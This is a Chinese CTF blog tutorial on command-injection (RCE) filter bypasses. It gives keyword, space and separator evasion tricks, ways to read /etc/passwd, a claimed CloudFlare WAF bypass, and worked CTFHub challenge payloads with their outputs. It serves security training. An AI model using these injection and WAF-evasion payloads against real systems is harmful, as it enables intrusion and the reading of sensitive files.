CTF随笔-RCE入门

2020-10-15  本文已影响0人  星际男

实时上,RCE必然有过滤,下面介绍入门级的bypass

0x04 关键字bypass

纯关键字过滤,如cat、flag、ls等

单一的关键字过滤,可以使用反斜杠、单引号、变量拼接、base64编码等方式进行绕过
反斜杠

ca\t /fl\ag

单引号

'l's

双引号

"l"s

命令拼接,内联执行

a=l;b=s;$a$b

base64编码

`echo d2hvYW1p | base64 -d`

解析:
d2hvYW1p解码后是whoami
base64 -d 解密
`` 解密里面的结果,再去执行命令

root@kali:/tmp# echo 'cat flag' | base64 
Y2F0IGZsYWcK
root@kali:/tmp# `echo Y2F0IGZsYWcK | base64 -d` 
flag{abcd1234}

十六进制执行

root@kali:/tmp# echo "0x63617420666C6167"| xxd -r -p|bash
flag{abcd1234}

root@kali:/tmp# $(printf "\x63\x61\x74\x20\x66\x6C\x61\x67")
flag{abcd1234}

部分文件名绕过
过滤文件名绕过(例如过滤/etc/passwd文件)

1) 利用正则匹配绕过
[root~]# cat /???/pass*
2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过
[root~]# cat /etc$u/passwd
备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)

另外,linux还提供一些替代的字符,总结如下

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
(假设该目录下有index.php和flag.php)
cat `ls` 
等同于-->
cat flag.php;cat index.php

0x05 特殊符号bypass

空格bypass

https://zhuanlan.zhihu.com/p/127047303

在过滤空格的情况下,常见bypass

<符号
$IFS
${IFS}
$IFS$9
%09 用于url传递
cat</flag
{cat,flag}
<>(cat<>/flag)
<(cat</flag)

root@kali:/tmp# cat<flag
flag{abcd1234}
root@kali:/tmp# cat$IFS$9flag
flag{abcd1234}
root@kali:/tmp# cat${IFS}flag
flag{abcd1234}

0x06 连接符bypass

常见的连接符有| & ;%0a等,如果过滤,则逐个试试

0x07 读取文件和目录bypass

如果禁止了类似cat的关键字,可以用以下替代

curl file:///flag
strings /flag
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd

读取目录,可以用以下替代

find -- 列出当前目录下的文件以及子目录所有文件

0x08 入门例题

CTFHub 命令注入-过滤cat

可以使用反斜杠、双引号、单引号等等绕过

 /?ip=127.0.0.1%3Bca\t flag_26377562217798.php
 /?ip=127.0.0.1%3Bc'a't flag_26377562217798.php
 /?ip=127.0.0.1%3Bc"a"t flag_26377562217798.php 

CTFHub 命令注入-过滤空格

 /?ip=127.0.0.1%3Bcat$IFS$9flag_13299173057278.php
 /?ip=127.0.0.1%3Bcat${IFS}flag_13299173057278.php
 /?ip=127.0.0.1%3Bcat<flag_13299173057278.php
 /?ip=127.0.0.1%3Bcat%09flag_13299173057278.php

CTFHub 命令注入-过滤目录分隔符

使用命令拼接

/?ip=127.0.0.1%3Bcd flag_is_here;ls
/?ip=127.0.0.1%3Bcd flag_is_here;cat flag_34112289819045.php

列出所有文件和所有目录
递归列出目录下所有的文件

find . -exec ls -dl \{\} \; | awk '{print $3, $4, $9}'
/?ip=127.0.0.1%3Bfind . -exec ls -dl \{\} \; | awk '{print $3, $4, $9}'
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => www-data www-data .
    [2] => root root ./flag_is_here
    [3] => root root ./flag_is_here/flag_34112289819045.php
    [4] => root root ./index.php
)

递归搜索文件名

find  -type f -name "*.*" | grep "flag"
find . | grep "flag"
 /?ip=127.0.0.1%3Bfind  -type f -name "*.php" | grep "flag"
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => ./flag_is_here/flag_34112289819045.php
)

搜索并且显示文件内容

find -type f -print -exec grep "flag" {} \;
 /?ip=127.0.0.1%3Bfind -type f -print -exec grep "ctf" {} \;
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => ./flag_is_here/flag_34112289819045.php
    [2] => <?php // ctfhub{b088021457c75189f868e82db183d8b4a9eaeab4}
    [3] => ./index.php
)

CTFHub 命令注入-过滤运算符

使用 ; 拼接命令

?ip=127.0.0.1%3Bls
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_44712389318511.php
    [2] => index.php
)
?ip=127.0.0.1%3Bcat+flag_44712389318511.php
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => <?php // ctfhub{696be71ef75d7c7927945e475b968cb33859d265}
)

CTFHub 命令注入-综合练习

1、使用%0a串联命令
2、使用变量串联命令

执行ls

/?ip=127.0.0.1%0aa=l%0ab=s%0a$a$b
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_is_here
    [2] => index.php
)

执行ls flag_is_here

 /?ip=127.0.0.1%0aa=l%0ab=s%0ac=fl%0ad=ag_is_here%0a$a$b${IFS}$c$d
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => flag_7300239618510.php
)

执行cd flag_is_here;cat flag_7300239618510.php

 /?ip=127.0.0.1%0aa=c%0ab=d%0ac=fl%0ad=ag_is_here%0ae=ca%0af=t%0ag=fl%0ah=ag_7300239618510.php%0a$a$b${IFS}$c$d%0a$e$f${IFS}$g$h
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => <?php // ctfhub{6ef5bff88a446b88489d06fb24ee1d7d3dc0b420}
)
上一篇 下一篇

猜你喜欢

热点阅读